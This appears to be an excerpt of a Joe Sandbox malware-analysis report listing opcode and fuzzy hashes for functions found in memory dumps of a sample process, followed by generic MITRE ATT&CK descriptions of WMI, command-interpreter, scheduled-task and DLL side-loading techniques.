Snapshot File: hcaresult_1_2_7ffd9b880000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85b040d37da1ced56204271892b024b539df4b435234160d0b4d4298bc45a026
Instruction ID: 9dcfd2309d09d870e8d816a2d008ba050be5f449f6eb6d315530bf693ff52900
Opcode Fuzzy Hash: 85b040d37da1ced56204271892b024b539df4b435234160d0b4d4298bc45a026
Instruction Fuzzy Hash: DD017B3170DA8E8FE326DB6C846456473A1FB0A300B9686F5C469C71E7DD349D428781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B881150 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da07bb9ac260ba2b9095bebd12f6c470979196541712dc6f61c78433a2ffa062
Instruction ID: 543421e9223a3c24548030b97d1e8f972f0d6f42f128662536f907a760c36ed0
Opcode Fuzzy Hash: da07bb9ac260ba2b9095bebd12f6c470979196541712dc6f61c78433a2ffa062
Instruction Fuzzy Hash: 0CF0F42698FBC94FE76757A04C711943F70AE0B200B0F52EBC498CE4E3EA1D5A498322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B888AD6 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b321cbca3123c29987f6e65e2c17aecc6de7bb7d597b7b219c21e66a8344d607
Instruction ID: 932164158745ae25c2d564f1837a683cb6d65356664244112b1c706210b5e543
Opcode Fuzzy Hash: b321cbca3123c29987f6e65e2c17aecc6de7bb7d597b7b219c21e66a8344d607
Instruction Fuzzy Hash: 9701283270DE8D4FF326A36C44325653652EF96340F5A43F5D068CB1E3EC3829428642

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B88DC9F Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1b6170bed0f8f81e284d57da38da453fa13803d38cd25bfa145b22efcbb3862
Instruction ID: eb3693a685cbb7c3a04d8cf74069f7f81c1d3dcf1c1bdd11a452ffca3450536b
Opcode Fuzzy Hash: c1b6170bed0f8f81e284d57da38da453fa13803d38cd25bfa145b22efcbb3862
Instruction Fuzzy Hash: 2301D462F09A8B4BE774DB8898A05A53791EF59310B0640B6D46CCB2B6DE28FD024781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8DD890 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cd6a91724d799e93a61076362370148125549f0733b60720fa0ab41dbfd1ed9
Instruction ID: 81b55a6f6bec899fbec2c2a03991ae978be7f3f6fb361e77ceb488ba70a2c34b
Opcode Fuzzy Hash: 4cd6a91724d799e93a61076362370148125549f0733b60720fa0ab41dbfd1ed9
Instruction Fuzzy Hash: 1C01F530B0E64E8FE759DB94C4A477573A2EF9A340F5583BAC449CB2E2DD282902CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8DF8F8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b665a9cffc9831d2f121acbb79ecbe312f6d3567343920ea3489a6f419a2cee3
Instruction ID: 71556aad447bbfe3b2babdc4cbdb5614b6078c7646adf694e284ab41f41fc946
Opcode Fuzzy Hash: b665a9cffc9831d2f121acbb79ecbe312f6d3567343920ea3489a6f419a2cee3
Instruction Fuzzy Hash: C7F0E921B29D0D1B876CF659A854DB7B3E0EBA831071046BBE40FC31DAEC25A9454380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8E73E3 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28a5e6875af391f8e30bb8bc7cbdf8f86772f0235331a6ea858858cffdeec953
Instruction ID: e133c054a556781aad716759a9f763b16fb92dae5b0950f919b1772b6088f524
Opcode Fuzzy Hash: 28a5e6875af391f8e30bb8bc7cbdf8f86772f0235331a6ea858858cffdeec953
Instruction Fuzzy Hash: EE01473070D64E8FE31DEB18C4A43B43252DF5A350F9A41F9C40DCB6E2D92969428751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B881059 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf3bcf1ae55c69dc0c927c967a739774d0c14f97ce979ec956a8e28fa31c072f
Instruction ID: a18371785dd55eeaf70de9e3fb1523df15886d850f2deda2384a52acc87e7f02
Opcode Fuzzy Hash: bf3bcf1ae55c69dc0c927c967a739774d0c14f97ce979ec956a8e28fa31c072f
Instruction Fuzzy Hash: B5015230E0E68DDFE721EBA488655ED7BB0AF4D310F2542A6C45597291DE3867448741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B3FE7 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdbe6547d9cbc606ecfe5e3c56dbd3e212bf60d41d785e476e4077dc02f7a13a
Instruction ID: f8027a54c8df2a2a68f5f55bab246a88d66876e7deb5d542bbdc1cc1040c626e
Opcode Fuzzy Hash: fdbe6547d9cbc606ecfe5e3c56dbd3e212bf60d41d785e476e4077dc02f7a13a
Instruction Fuzzy Hash: 2FF0F6317099088FE7A4DB6CD4A8B6433E2EFA9311B0643BAD009C73B2D9249D46CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C7E61 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d8aad466cfa5dee6bc49b87c687372f34ce5afb03e51106bf1939efdeef855
Instruction ID: 22fdcab86c70c73615c3c9626b947e50ba390875ac15e92656d4bc77ff24ef9b
Opcode Fuzzy Hash: a3d8aad466cfa5dee6bc49b87c687372f34ce5afb03e51106bf1939efdeef855
Instruction Fuzzy Hash: 73F02B7350E60C5EFB18AA09AC17DF67B98DBC7638F00015FF59DC2122E5626963C395

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8D82F6 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 157604490fca98bb4c551f9ffcb2d36b6e31d57717a2add615abfe81aff6a7c3
Instruction ID: 30f0257a6c4f43e671c76e54a8e829257e45d2d794ef27bb3b257dffd8a74b77
Opcode Fuzzy Hash: 157604490fca98bb4c551f9ffcb2d36b6e31d57717a2add615abfe81aff6a7c3
Instruction Fuzzy Hash: 5201DB3060D98E4FE329D76484615747791EB86340F5543BAC459C71F2DE281D468B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8E7A24 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3883be400c3db5bf3c2abdaa8c85528e3996a1090775934141e862457e199df
Instruction ID: 9dd8bd94613a87ea258565ec6b5fc18ba3ed4a65f44615d1c58e58700ae289f0
Opcode Fuzzy Hash: b3883be400c3db5bf3c2abdaa8c85528e3996a1090775934141e862457e199df
Instruction Fuzzy Hash: 8B01493170E68D8FE729FB68C4F0AB83791EF5A340F9941B9D408CB1E3C9286A41C701

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B72B7 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81e845251974b1b7f54e4ca986984cbc94704a9bb82c319813029fa57bb19101
Instruction ID: fc68572412858cd4a9a9d74e8848fec805a3efd226828759d8179b170bfa4e7c
Opcode Fuzzy Hash: 81e845251974b1b7f54e4ca986984cbc94704a9bb82c319813029fa57bb19101
Instruction Fuzzy Hash: D0F0A73150A60D5FD718EF59EC569FA37A4FF89324F00013AF45D821A2DA256962CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B886DDF Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e46ebc85993f90a579171b64f9402e6ee8c7556390805bff138a686a3b272fb
Instruction ID: 513eda19b635ab056d44327620f7857967e61ef0ae0cff9bd42e08ed4bc35adb
Opcode Fuzzy Hash: 0e46ebc85993f90a579171b64f9402e6ee8c7556390805bff138a686a3b272fb
Instruction Fuzzy Hash: FCF0C871B0AA8D4BF726A7688430B643652DB87350F5E82F5C029CB1F6D8395E424351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8D2196 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64c35ee943aaa64f9717893d959d40e699187fad8743d1cdcfe13508c28f68b5
Instruction ID: 535a98b6000ef22115faedc320230303b5e9487b47e974e1a718bb2299314994
Opcode Fuzzy Hash: 64c35ee943aaa64f9717893d959d40e699187fad8743d1cdcfe13508c28f68b5
Instruction Fuzzy Hash: 85F0623170990D8FE765EB98D4606A536A3EBD9360F1A83BBC519CB1E1DE3429428741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8CEBFD Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d9a535aa913cd33a23d54f42ae1946567ea747402fda97a3613a4bbea859ad7
Instruction ID: a84307dedf7660768186f8a54532f55cac0c792c890924055a4984e3e4e600b9
Opcode Fuzzy Hash: 7d9a535aa913cd33a23d54f42ae1946567ea747402fda97a3613a4bbea859ad7
Instruction Fuzzy Hash: 4DF09EA1A1E7880FD37453B9646927077C0EB5C315F0600B7C048C35D3D91C69448700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B3F03 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ef5ff46e6b7985b35944581bc6de6f727728e6d17c4f971bcbcac322f510441
Instruction ID: 70f8fbfa51561558a5b045dd44fb0bd184a5b62f90accd2fa25cbb6eb23a3efd
Opcode Fuzzy Hash: 7ef5ff46e6b7985b35944581bc6de6f727728e6d17c4f971bcbcac322f510441
Instruction Fuzzy Hash: B2F02421B0D6584EE379D7688460A74B390EB1A710F4642BBC05AC75E2EE542D018AC0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B3DF1 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db1588b01cf5a3617bf9c77e46ae3ce410e5855337c949d636dfb004fb57affc
Instruction ID: 80d41067b52c36c3f540d3f551766e72e0b6b9a7b73a14c647b68207617ea0fc
Opcode Fuzzy Hash: db1588b01cf5a3617bf9c77e46ae3ce410e5855337c949d636dfb004fb57affc
Instruction Fuzzy Hash: 01E092A1A1E6D44FD3229B388C2A4147FE0EB2720535F06FFC4CACB4B3D54A84978302

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8814FA Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c65fc007a9d17153ab8c27d777f4a3c8df8c55ccc0c78f22dd7ef7718258b522
Instruction ID: 5367051b37b381dab659b497682ae55d73e5ed7200b4d6e6b84a2378c8ba8ff6
Opcode Fuzzy Hash: c65fc007a9d17153ab8c27d777f4a3c8df8c55ccc0c78f22dd7ef7718258b522
Instruction Fuzzy Hash: 33F0B436A0AE8E5FD761BB6848640E87FA0FF8D340F4605B7D46AC7062EE255A558280

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B885846 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a10e58639d263df2fd83bbbd038b40275999a1a3537c68f640070b26bb9a947e
Instruction ID: 575cd883d3e7f8e60754d158e20e8cf90f2d4009eec926d664d8aaaf5cc83dc0
Opcode Fuzzy Hash: a10e58639d263df2fd83bbbd038b40275999a1a3537c68f640070b26bb9a947e
Instruction Fuzzy Hash: FBF0E910719E8A8FE369DB7884A056467A1CF4B28035680B7C01DCB1E7EC345D028751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8DDFCD Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e3bb23f0b4e19a423ba5145e87be1a728b767b2ada11668bb7ef9d619418bd9
Instruction ID: cb9d4b3d56f9119791669eaea70946d5343bca827de412e112ca009b97dac66a
Opcode Fuzzy Hash: 4e3bb23f0b4e19a423ba5145e87be1a728b767b2ada11668bb7ef9d619418bd9
Instruction Fuzzy Hash: BCE01252A0FBDA4FE76757BC08751946FB19F8B95070A46EBC089CB1F3D8481D4D8392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B888B2E Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081f78a839c9580479bae8ca8a6fb5143de1e011739befbdbcd1a435735312dc
Instruction ID: edc988b1204d459919ce0f8d90aa11571bd2298326fabba14b1b237c76598c65
Opcode Fuzzy Hash: 081f78a839c9580479bae8ca8a6fb5143de1e011739befbdbcd1a435735312dc
Instruction Fuzzy Hash: 3FF02E3170DA494FF3299B5884216653292EBDA350F5643B5D059C72E1D9385541C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8E69E6 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f736a83495c051007ffe609904a85982e92c8997c450de3ee4c151963159544
Instruction ID: 900fe4584cc307a78513a6e74c7feec01a48890b361b4313fe8cb14b5b0da83a
Opcode Fuzzy Hash: 7f736a83495c051007ffe609904a85982e92c8997c450de3ee4c151963159544
Instruction Fuzzy Hash: 78F02B31B0E68E4FE32DFBA884B55B43391DF9A340F5942BAC419CB1F7EC196A458352

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B887BA7 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a20269f4285c5c4c31b2d9f2b75e0c865b4e7d7b3de608276f56c08bf025f58
Instruction ID: 11726c579aeb5290dc22728d790c65cc3328a3a2fa585535e428ea0471c9aab2
Opcode Fuzzy Hash: 8a20269f4285c5c4c31b2d9f2b75e0c865b4e7d7b3de608276f56c08bf025f58
Instruction Fuzzy Hash: 1EE06D1070DBC94BE76AE67C44716242AA28F0B280B9A40F9946DCB6E3D82959418322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B5A3A Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d829c3553b68090851279f1aaa95054dda0c29a258c17e76eb7e15d4938b4a70
Instruction ID: f9006fa2e2638dfe9bcafb57cc8269bc3205cea65b6db2189e17d5b5f2bb60a5
Opcode Fuzzy Hash: d829c3553b68090851279f1aaa95054dda0c29a258c17e76eb7e15d4938b4a70
Instruction Fuzzy Hash: DCD09E22B2DA6907A56C665C7C231B8B3C1E78CA35B0516FFE44DD329BDD196D4201C6

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8891C7 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fd84a58125a6a5d660d1253cc914522558aa992f882e0499b2941f6a823276e
Instruction ID: 5d9ab53361b5d0c68f96c3d22f3fe812d60ef7589f0f1a7dfc2cca2961156182
Opcode Fuzzy Hash: 9fd84a58125a6a5d660d1253cc914522558aa992f882e0499b2941f6a823276e
Instruction Fuzzy Hash: BBE09220B0DA494FF365DBA89824A7D6BB1DF45390F10407BC019C72E7DD3818438B41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B88966C Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b880000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eb2b0426ce4d4182b231dc0d0e090d94edd53e4e365e350517f1cef966c1613
Instruction ID: 7918ccb39c0d1b34280966a66b3aaddd65dcd2f67c692d2d75b8c3c46e4e6965
Opcode Fuzzy Hash: 4eb2b0426ce4d4182b231dc0d0e090d94edd53e4e365e350517f1cef966c1613
Instruction Fuzzy Hash: 1AE0D861A0DE894BFBD9EB1C44355243692FF19340F2915F8E45DC71D3CD24AD428342

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B955AFB Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4293754548.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b950000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 194a30c4d84c7819f8785a557d6e6544097b3b252a4ab607d31d9d80c27e31da
Instruction ID: dad84f22b548f6c5b35922d02091afcb76889cecd29a916488e9be92db92d8ef
Opcode Fuzzy Hash: 194a30c4d84c7819f8785a557d6e6544097b3b252a4ab607d31d9d80c27e31da
Instruction Fuzzy Hash: A8D0C78176A51A07F71466CD68523B87285CB8C610F510137E60DC67D6CC5E5D811286

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8C9F75 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7f1cd32caaf5e4ca01bd440d6ded3170df7721324ff0580912a7a2352e2a1f8
Instruction ID: f1ff830bdf8e0493143e1df76f1ea71f326a14ff14180728e403a4fbfa3d2bfd
Opcode Fuzzy Hash: b7f1cd32caaf5e4ca01bd440d6ded3170df7721324ff0580912a7a2352e2a1f8
Instruction Fuzzy Hash: EED02311B4EB0E87D370F69C7C56175B3C1DB94121F15033BE40DC3159CD3AA4D04181

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8BAF7A Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d104fce36e1f4b65cbeb8b0d3ec62979f53c79b65e3ea6d5513f395e9a5bb6a
Instruction ID: 563b47e0b4f1ec7d87edfd4c6081e7178003944cff626af52fb9345be7e678ba
Opcode Fuzzy Hash: 7d104fce36e1f4b65cbeb8b0d3ec62979f53c79b65e3ea6d5513f395e9a5bb6a
Instruction Fuzzy Hash: 61D0A734454A4D4FCB40FF94E40149AB360FB48308F000659EC1CC3251D735A6B1CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8E7A78 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb4f4f8c264147060c94d051606a9066a674690a5b9cb77b9b14f8ff6f80a4de
Instruction ID: 89da76e94326253f0b2fe2c8c6115c31f36e3b51efae650b609cf1d8b740704c
Opcode Fuzzy Hash: cb4f4f8c264147060c94d051606a9066a674690a5b9cb77b9b14f8ff6f80a4de
Instruction Fuzzy Hash: C7D02B1070D6CA0BF32DB33840B626415018F0E240FDA04F99409CB0E3DC1C5A814312

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8B5336 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4288898275.00007FFD9B8B3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b8b3000_Target.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 206a064951ef501fde2d23ea895b03c3b7d46ba7e156c54339dc466300bcbe61
Instruction ID: cbe951d36bd743736086b48401a41d5a08eb9a43ce0522a80afabbac031999f9
Opcode Fuzzy Hash: 206a064951ef501fde2d23ea895b03c3b7d46ba7e156c54339dc466300bcbe61
Instruction Fuzzy Hash: F7D0A932E0510A8FCB41EFA8E0455FEFBB0FF80232F0001A7D20AC7012C7288426CBA2

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

